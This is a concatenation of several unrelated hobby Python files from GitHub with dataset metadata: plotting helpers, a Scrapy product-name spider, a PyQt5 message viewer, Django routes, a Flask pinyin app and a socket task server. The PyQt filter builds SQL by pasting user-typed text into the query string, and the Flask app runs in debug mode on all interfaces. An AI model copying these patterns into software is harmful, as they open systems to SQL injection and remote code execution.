fig.colorbar(cax)\n\n x_positions = np.linspace(start=0, stop=len(labels), num=len(labels), endpoint=False)\n y_positions = np.linspace(start=0, stop=len(labels), num=len(labels), endpoint=False)\n for y_index, y in enumerate(y_positions):\n for x_index, x in enumerate(x_positions):\n x_feat = labels[x_index]\n y_feat = labels[y_index]\n c = \"{0:.2f}\".format(df[x_feat].corr(df[y_feat]))\n ax1.text(x, y, str(c), {'size': 12}, color='black', ha='center', va='center')\n\n return fig\n\ndef compare_weights(df):\n #1D projections (weighted VS unweighted)\n fig, axs = plt.subplots(nrows=5, ncols=3, figsize=(25,20))\n labels=list(df)\n labels.remove('Weight')\n idx=0\n for row in range(5):\n for col in range(3):\n label=labels[idx]\n ax = axs[row,col];\n _ = ax.hist(df[label], color='blue', alpha=0.3, normed=True, weights=None);\n _ = ax.hist(df[label], color='red', alpha=0.3, normed=True, weights=df.Weight.values);\n ax.set_xlabel(label);\n if \"x\" in label or \"y\" in label:\n ax.set_yscale('log');\n patch0 = mpatches.Patch(color='blue',\n label='Unweighted',\n alpha=0.3);\n patch1 = mpatches.Patch(color='red',\n label='Weighted',\n alpha=0.3);\n ax.legend(loc='best', handles=[patch0,patch1]);\n idx += 1\n plt.minorticks_on()\n plt.tight_layout()\n \n return fig\n\ndef marketwise_proj(df):\n fig, axs = plt.subplots(nrows=7, ncols=2, figsize=(20,30))\n labels=list(df)\n labels.remove('Weight')\n labels.remove('Market')\n idx=0\n for row in range(7):\n for col in range(2):\n label=labels[idx]\n ax = axs[row,col];\n if \"x\" in label or \"y\" in label:\n ax.set_yscale('log');\n bins = 10\n _,bins,_ = ax.hist(df.query(\"Market==1\")[label], bins=bins, color='blue', alpha=0.3, normed=True, weights=df.query(\"Market==1\").Weight.values);\n _,bins,_ = ax.hist(df.query(\"Market==2\")[label], bins=bins, color='red', alpha=0.3, normed=True, weights=df.query(\"Market==2\").Weight.values);\n _,bins,_ = ax.hist(df.query(\"Market==3\")[label], bins=bins, color='black', alpha=0.3, normed=True, weights=df.query(\"Market==3\").Weight.values);\n _,bins,_ = ax.hist(df.query(\"Market==4\")[label], bins=bins, color='green', alpha=0.3, normed=True, weights=df.query(\"Market==4\").Weight.values);\n else:\n _ = ax.hist(df.query(\"Market==1\")[label], color='blue', alpha=0.3, normed=True, weights=df.query(\"Market==1\").Weight.values);\n _ = ax.hist(df.query(\"Market==2\")[label], color='red', alpha=0.3, normed=True, weights=df.query(\"Market==2\").Weight.values);\n _ = ax.hist(df.query(\"Market==3\")[label], color='black', alpha=0.3, normed=True, weights=df.query(\"Market==3\").Weight.values);\n _ = ax.hist(df.query(\"Market==4\")[label], color='green', alpha=0.3, normed=True, weights=df.query(\"Market==4\").Weight.values);\n ax.set_xlabel(label);\n patch1 = mpatches.Patch(color='blue',\n label='Market 1',\n alpha=0.3);\n patch2 = mpatches.Patch(color='red',\n label='Market 2',\n alpha=0.3);\n patch3 = mpatches.Patch(color='black',\n label='Market 3',\n alpha=0.3);\n patch4 = mpatches.Patch(color='green',\n label='Market 4',\n alpha=0.3);\n ax.legend(loc='best', handles=[patch1,patch2,patch3,patch4]);\n idx += 1\n plt.minorticks_on()\n plt.tight_layout()\n \n return fig\n\ndef scatter_plots(df):\n fig, axs = plt.subplots(nrows=7, ncols=2, figsize=(20,30))\n labels=list(df)\n if 'Weight' in labels:\n labels.remove('Weight')\n labels.remove('y')\n idx=0\n for row in range(7):\n for col in range(2):\n label=labels[idx]\n ax = axs[row,col];\n ax.scatter(df[label],df[\"y\"])\n ax.set_xlabel(label);\n ax.set_ylabel(\"y\");\n c = \"correlation = {0:.4f}\".format(df[label].corr(df[\"y\"]))\n ax.text(0.5, 0.85, str(c), {'size': 20}, transform=ax.transAxes, color='black', ha='right', va='bottom');\n idx += 1\n plt.minorticks_on()\n plt.tight_layout()\n \n return fig\n\ndef time_series(df):\n fig, axs = plt.subplots(nrows=6, ncols=2, figsize=(20,30))\n labels=list(df)\n if 'Weight' in labels:\n labels.remove('Weight')\n labels.remove('Stock')\n labels.remove('Day')\n labels.remove('Market')\n idx=0\n for row in range(6):\n for col in range(2):\n label=labels[idx]\n ax = axs[row,col];\n ax.plot(df.query(\"Market==1\")[\"Day\"], df.query(\"Market==1\")[label], color='blue')\n ax.plot(df.query(\"Market==2\")[\"Day\"], df.query(\"Market==2\")[label], color='red')\n ax.plot(df.query(\"Market==3\")[\"Day\"], df.query(\"Market==3\")[label], color='black')\n ax.plot(df.query(\"Market==4\")[\"Day\"], df.query(\"Market==4\")[label], color='green')\n ax.set_xlabel(\"time\");\n ax.set_ylabel(label);\n patch1 = mpatches.Patch(color='blue',\n label='Market 1',\n alpha=0.3);\n patch2 = mpatches.Patch(color='red',\n label='Market 2',\n alpha=0.3);\n patch3 = mpatches.Patch(color='black',\n label='Market 3',\n alpha=0.3);\n patch4 = mpatches.Patch(color='green',\n label='Market 4',\n alpha=0.3);\n ax.legend(loc='best', handles=[patch1,patch2,patch3,patch4]);\n idx += 1\n plt.minorticks_on()\n plt.tight_layout()\n \n return fig", "repo_name": "VINX89/FinanceProjects", "sub_path": "GresearchChallengeApril2018/python/plot_utils.py", "file_name": "plot_utils.py", "file_ext": "py", "file_size_in_byte": 7382, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.cm.get_cmap", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.minorticks_on", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.minorticks_on", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.minorticks_on", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.patches.Patch", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.patches", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.minorticks_on", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}]} {"seq_id": "19087967538", "text": "import scrapy\nimport csv\nfrom bs4 import BeautifulSoup\nimport spacy\nimport re\nimport regex\nimport string\nfrom shop_scraper.items import Product\nfrom urllib.parse import urlparse\n\n\nclass ProductsSpiderSpider(scrapy.Spider):\n name = 'products_spider'\n allowed_domains = []\n\n def __init__(self, *args, **kwargs):\n super(ProductsSpiderSpider, self).__init__(*args, **kwargs)\n with open('../result_without_async.csv', 'r', newline='', encoding='utf-8') as csvfile:\n csvreader = csv.DictReader(csvfile)\n for row in csvreader:\n if row['IsAccessible'].strip().lower() == 'true':\n url = row['URL']\n domain = urlparse(url).netloc\n self.allowed_domains.append(domain)\n self.currency_pattern = re.compile(\n r'\\b(?:\\$|€|£|JPY|USD|EUR|GBP|INR|AUD|CAD|SGD|CNY|JPY)\\b', re.IGNORECASE)\n self.currency_pattern2 = regex.compile(\n r'(?:\\p{Sc}|\\b(?:USD|EUR|GBP|INR|AUD|CAD|SGD|CNY|JPY)\\b)\\s*\\d+(?:,\\d{3})*(?:\\.\\d+)?', re.IGNORECASE)\n self.allowed_chars = set(string.ascii_letters + \" .,;:-_/\")\n self.non_content_keywords = [\n 'header', 'footer', 'nav', 'sidebar', 'advertisement', ]\n # Load Spacy model\n self.nlp = spacy.load('../v5_product_ner_model')\n\n def start_requests(self):\n # Read the CSV file and start requests\n with open('../result_without_async.csv', 'r', newline='', encoding='utf-8') as csvfile:\n csvreader = csv.DictReader(csvfile)\n for row in csvreader:\n if row['IsAccessible'].strip().lower() == 'true':\n yield scrapy.Request(row['URL'].strip(), self.parse)\n\n def parse(self, response):\n soup = BeautifulSoup(response.body, 'lxml')\n for script in soup(['script', 'style', 'nav', 'header', 'footer', 'form', 'img']):\n script.extract()\n\n non_content_attributes = [\n ('class', 'header'),\n ('class', 'footer'),\n ('class', 'nav'),\n ('class', 'sidebar'),\n ('data-section-id', 'sidebar'),\n ('data-section-id', 'header'),\n ('data-section-id', 'footer'),\n ('data-section-id', 'nav'),\n ('id', 'sidebar'),\n ('id', 'header'),\n ('id', 'footer'),\n ('id', 'nav'),\n ]\n\n for attr, value in non_content_attributes:\n for element in soup.find_all(attrs={attr: value}):\n element.extract()\n for tag in soup.find_all(self.has_non_content_attribute):\n tag.extract()\n text = soup.get_text()\n text = ' '.join(text.split())\n\n doc = self.nlp(text)\n for ent in doc.ents:\n product = ent.text\n if self.currency_pattern.search(product) or self.currency_pattern2.search(product):\n continue\n if any(char not in self.allowed_chars for char in product):\n continue\n if '.' in product:\n product = product.split(\".\")[0]\n item = Product()\n item['product'] = product.lower()\n item['url'] = response.url\n yield item\n links = response.css('a::attr(href)').extract()\n for link in links:\n yield response.follow(link, self.parse)\n\n def has_non_content_attribute(self, tag):\n for attribute in tag.attrs.values():\n if any(keyword in str(attribute).lower() for keyword in self.non_content_keywords):\n return True\n return False\n", "repo_name": "razvan233/exadel-ml", "sub_path": "shop_scraper/shop_scraper/spiders/products_spider.py", "file_name": "products_spider.py", "file_ext": "py", "file_size_in_byte": 3608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scrapy.Spider", "line_number": 12, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 23, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 25, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "regex.compile", "line_number": 27, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 28, "usage_type": "attribute"}, {"api_name": "string.ascii_letters", "line_number": 29, "usage_type": "attribute"}, {"api_name": "spacy.load", "line_number": 33, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 38, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 41, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 44, "usage_type": "call"}, {"api_name": "shop_scraper.items.Product", "line_number": 80, "usage_type": "call"}]} {"seq_id": "12549583594", "text": "\"\"\"Module for showing and filtering client messages.\"\"\"\nimport sys\n\nfrom PyQt5 import QtCore, QtWidgets, QtSql\n\nimport constants\n\n\nclass MyWindow(QtWidgets.QWidget):\n def __init__(self, parent = None):\n QtWidgets.QWidget.__init__(self, parent,\n flags = QtCore.Qt.Window)\n self.setWindowTitle(\"Filtering and sorting messages\")\n\n con = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n con.setDatabaseName(\"/\".join((constants.ARTIFACTS_FOLDER_NAME, constants.DB_CLIENT)))\n con.open()\n\n## self.model = QtSql.QSqlQueryModel(parent = self)\n## self.model.setQuery('select * from messages')\n\n self.model = QtSql.QSqlTableModel(parent = self)\n self.model.setTable('messages')\n self.model.select()\n\n self.model.setHeaderData(1, QtCore.Qt.Horizontal, 'From_client')\n self.model.setHeaderData(2, QtCore.Qt.Horizontal, 'To_client')\n self.model.setHeaderData(3, QtCore.Qt.Horizontal, 'Message')\n\n vbox = QtWidgets.QVBoxLayout()\n hbox = QtWidgets.QHBoxLayout()\n lblSort = QtWidgets.QLabel(\"S&ort by field\")\n hbox.addWidget(lblSort)\n\n self.cboSort = QtWidgets.QComboBox()\n\n message_table = con.record(\"messages\")\n field_count = message_table.count()\n for field in range(0, field_count):\n field_name = message_table.field(field).name()\n if field_name != \"gid\":\n self.cboSort.addItem(field_name)\n lblSort.setBuddy(self.cboSort)\n hbox.addWidget(self.cboSort)\n\n self.chkDesc = QtWidgets.QCheckBox(\"&Descendingly\")\n hbox.addWidget(self.chkDesc, alignment=QtCore.Qt.AlignRight)\n vbox.addLayout(hbox)\n hbox = QtWidgets.QHBoxLayout()\n\n lblFilterSender = QtWidgets.QLabel(\"Filter by &sender\")\n hbox.addWidget(lblFilterSender)\n self.txtFilterSender = QtWidgets.QLineEdit()\n lblFilterSender.setBuddy(self.txtFilterSender)\n hbox.addWidget(self.txtFilterSender)\n vbox.addLayout(hbox)\n\n hbox = QtWidgets.QHBoxLayout()\n lblFilterReceiver = QtWidgets.QLabel(\"Filter by &recipient\")\n hbox.addWidget(lblFilterReceiver)\n self.txtFilterReceiver = QtWidgets.QLineEdit()\n lblFilterReceiver.setBuddy(self.txtFilterReceiver)\n hbox.addWidget(self.txtFilterReceiver)\n vbox.addLayout(hbox)\n btnRefresh = QtWidgets.QPushButton(\"Re&fresh\")\n btnRefresh.clicked.connect(self._refreshData)\n vbox.addWidget(btnRefresh)\n\n self.tblMain = QtWidgets.QTableView()\n self.tblMain.setModel(self.model)\n self.tblMain.hideColumn(0)\n self.tblMain.setColumnWidth(1, 70)\n self.tblMain.setColumnWidth(2, 70)\n self.tblMain.setColumnWidth(3, 360)\n vbox.addWidget(self.tblMain)\n self.setLayout(vbox)\n self.resize(500, 900)\n\n \"\"\"\n def _refreshData(self):\n s = ''\n sender = self.txtFilterSender.text()\n receiver = self.txtFilterReceiver.text()\n if sender and not receiver:\n s += \"where from_client like '%\" + sender + \"%'\"\n elif receiver and not sender:\n s += \"where to_client like '%\" + receiver + \"%'\"\n elif sender and receiver:\n s += \"where from_client like '%\" + sender + \"%' and to_client like '%\" + receiver + \"%'\"\n s += \" order by \" + self.cboSort.currentText()\n if self.chkDesc.isChecked():\n s += \" desc\"\n self.model.setQuery(\"select * from messages \" + s)\n\n \"\"\"\n def _refreshData(self):\n self.model.setFilter('')\n sender = self.txtFilterSender.text()\n receiver = self.txtFilterReceiver.text()\n if sender and not receiver:\n self.model.setFilter(\"from_client like '%\" + sender + \"%'\")\n elif receiver and not sender:\n self.model.setFilter(\"to_client like '%\" + receiver + \"%'\")\n elif sender and receiver:\n self.model.setFilter(\"from_client like '%\" + sender + \"%' and to_client like '%\" + receiver + \"%'\")\n index = self.cboSort.currentIndex()\n self.model.setSort(index+1, QtCore.Qt.AscendingOrder)\n \"\"\"\n if self.cboSort.currentText() == \"from_client\":\n self.model.setSort(1, QtCore.Qt.AscendingOrder)\n elif self.cboSort.currentText() == \"to_client\":\n self.model.setSort(2, QtCore.Qt.AscendingOrder)\n elif self.cboSort.currentText() == \"message\":\n self.model.setSort(3, QtCore.Qt.AscendingOrder)\n \"\"\"\n if self.chkDesc.isChecked():\n self.model.setSort(index + 1, QtCore.Qt.DescendingOrder)\n self.model.select()\n\n\napp = QtWidgets.QApplication(sys.argv)\nwindow = MyWindow()\nwindow.show()\nsys.exit(app.exec_())\n", "repo_name": "rtanyas/git-geekbrains", "sub_path": "qt5/message_list.py", "file_name": "message_list.py", "file_ext": "py", "file_size_in_byte": 4755, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 9, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 9, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget.__init__", "line_number": 11, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 11, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 11, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 12, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 12, "usage_type": "name"}, {"api_name": "PyQt5.QtSql.QSqlDatabase.addDatabase", "line_number": 15, "usage_type": "call"}, {"api_name": "PyQt5.QtSql.QSqlDatabase", "line_number": 15, "usage_type": "attribute"}, {"api_name": "PyQt5.QtSql", "line_number": 15, "usage_type": "name"}, {"api_name": "constants.ARTIFACTS_FOLDER_NAME", "line_number": 16, "usage_type": "attribute"}, {"api_name": "constants.DB_CLIENT", "line_number": 16, "usage_type": "attribute"}, {"api_name": "PyQt5.QtSql.QSqlTableModel", "line_number": 22, "usage_type": "call"}, {"api_name": "PyQt5.QtSql", "line_number": 22, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 26, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 26, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 27, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 28, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 28, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 30, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 30, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 31, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 31, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 32, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 32, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 35, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 35, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QCheckBox", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 46, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 47, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 47, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 49, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 49, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 51, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 53, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 58, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 58, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 59, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 59, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 61, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 61, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 65, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 65, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableView", "line_number": 69, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 69, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 107, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 107, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 117, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 117, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 121, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 121, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 121, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 124, "usage_type": "call"}]} {"seq_id": "70456549664", "text": "from django.urls import path\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls import include\nfrom django.conf.urls.static import static\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\n\napp_name = \"posts\"\n\nurlpatterns = [\n path(\"promotions/\", views.PromotionListView.as_view(), name=\"promotions\"),\n path(\"promotions/\", views.PromotionDetailView.as_view(), name=\"promotion_detail\"),\n path(\"promotions/uploads/\", views.UploadAdView.as_view(), name=\"promotion_uploads\"),\n path(\"promotions//delete/\", views.ad_delete, name=\"promotion_delete\"),\n path(\"promotions//edit/\", views.EditPostView.as_view(), name=\"edit\"),\n path(\"search/\", views.SearchView.as_view(), name=\"search\"),\n path(\"hobby/\", views.HobbyHome.as_view(), name= \"hobby\"),\n path(\"life/\", views.SchoolLife.as_view(), name=\"school\"),\n path(\"career/\", views.CareerHome.as_view(), name=\"career\"),\n path(\"notice/\", views.NoticeView.as_view(), name=\"iostar-notice\"),\n path(\"notice/\", views.NoticeDetailView.as_view(), name=\"notice_detail\"),\n]\n\ndef protected_file(request, path, document_root=None):\n # 파일 경로를 통ㅐ 파일에 직접 접근하지 못하게 막는 코드\n # 출처: https://parkhyeonchae.github.io/2020/04/13/django-project-25/\n messages.error(request, \"접근 불가\")\n return redirect('/')", "repo_name": "yibre/iostar-back", "sub_path": "posts/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1396, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 28, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 29, "usage_type": "call"}]} {"seq_id": "21569177713", "text": "from flask import Flask,render_template,request,url_for,jsonify\nimport sys\nsys.path.append('samplePinyin')\n\n\nfrom samplePinyin.pinyinTranslate import pinyinTranslate\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return render_template('index.html' ,\n page_title = 'NLP Project' , brandName = 'NLP Final Project' ,\n gitHubPage = 'https://github.com/poynt2005/finalNLPProject' , brandLogoText = 'Pinyin')\n\n@app.route('/getQuery' , methods = ['POST'])\ndef getQuery():\n if request.method == 'POST':\n param = request.form['param']\n accuracyNum = 50\n try:\n accuracyNum = int(request.form['accuracyNum'])\n except:\n accuracyNum = 50\n\n result = pinyinTranslate(param , accuracyNum)\n\n if not result == 'inputError':\n return jsonify(result)\n else:\n return('error')\n\n@app.route('/about' , methods = ['GET'])\ndef about_page():\n if request.method == 'GET':\n return render_template('about.html' , page_title = 'About Page' , project_author = '仲皓瑋、陳昱平' ,\n project_page = 'https://github.com/poynt2005/finalNLPProject')\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run(host='0.0.0.0' , threaded=True)\n", "repo_name": "poynt2005/finalNLPProject", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1312, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "samplePinyin.pinyinTranslate.pinyinTranslate", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 35, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 36, "usage_type": "call"}]} {"seq_id": "24292767741", "text": "#! /usr/bin/env python3\n# -*- coding:utf-8 -*-\n\n\nfrom task import TaskManager\nfrom server import EchoHandler, CommanderServer\n\n\ntask_manager = TaskManager()\n\n\nclass CommandHandler(EchoHandler):\n task = None\n\n def handle(self):\n print('Got connection from: ', self.client_address)\n\n # 告诉士兵，连接建立完毕\n self.send_command(b'done')\n\n while True:\n report = self.request.recv(1024)\n self.deal(report)\n\n def deal(self, report):\n if report == b'start':\n \"\"\"士兵报告可以开始\"\"\"\n # 获取任务\n self.task = task_manager.get_task()\n\n # 读取图片，并发给士兵\n with open(self.task.person.person_image, 'rb') as file:\n self.wfile.write(file.read())\n\n # 图片发送完毕，发送截止字符串\n self.request.send(b'image_stream_end')\n elif report.startswith(b'score'):\n \"\"\"士兵报告得分，并表示结束该任务，可以开始下一项任务\"\"\"\n score = float(report.strip(b'score: '))\n print('[{0} Task Done] {1} {2}'.format(self.client_address,\n self.task.person.name,\n score))\n self.task.update_score(score)\n\n # 嘉奖士兵，表示圆满完成任务\n self.send_command(b'done')\n\n\nif __name__ == '__main__':\n CommanderServer(handler=CommandHandler).serve_forever()\n", "repo_name": "Aston5128/Yanzhi_Score", "sub_path": "Commander/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 1534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "task.TaskManager", "line_number": 9, "usage_type": "call"}, {"api_name": "server.EchoHandler", "line_number": 12, "usage_type": "name"}, {"api_name": "server.CommanderServer", "line_number": 50, "usage_type": "call"}]} {"seq_id": "74301085982", "text": "import matplotlib.pyplot as plt\nfrom matplotlib.ticker import StrMethodFormatter\n\nplt.rcParams[\"font.family\"] = \"Times New Roman\"\n\nx = ['9','99','999','9999','99999']\ny = [0.10188,0.01024,0.0009,0.00008,0.00002]\n\nplt.figure(figsize=(5.5,4))\nplt.title('False Positive Ratio / m')\nplt.xlabel('m')\nplt.ylabel('False Positive Ratio')\nplt.plot(x,y,'k--')\nplt.savefig('falsepositive.png')", "repo_name": "k-souvatzidaki/Popularity-Content-Management-Thesis", "sub_path": "plots/plots.py", "file_name": "plots.py", "file_ext": "py", "file_size_in_byte": 382, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, 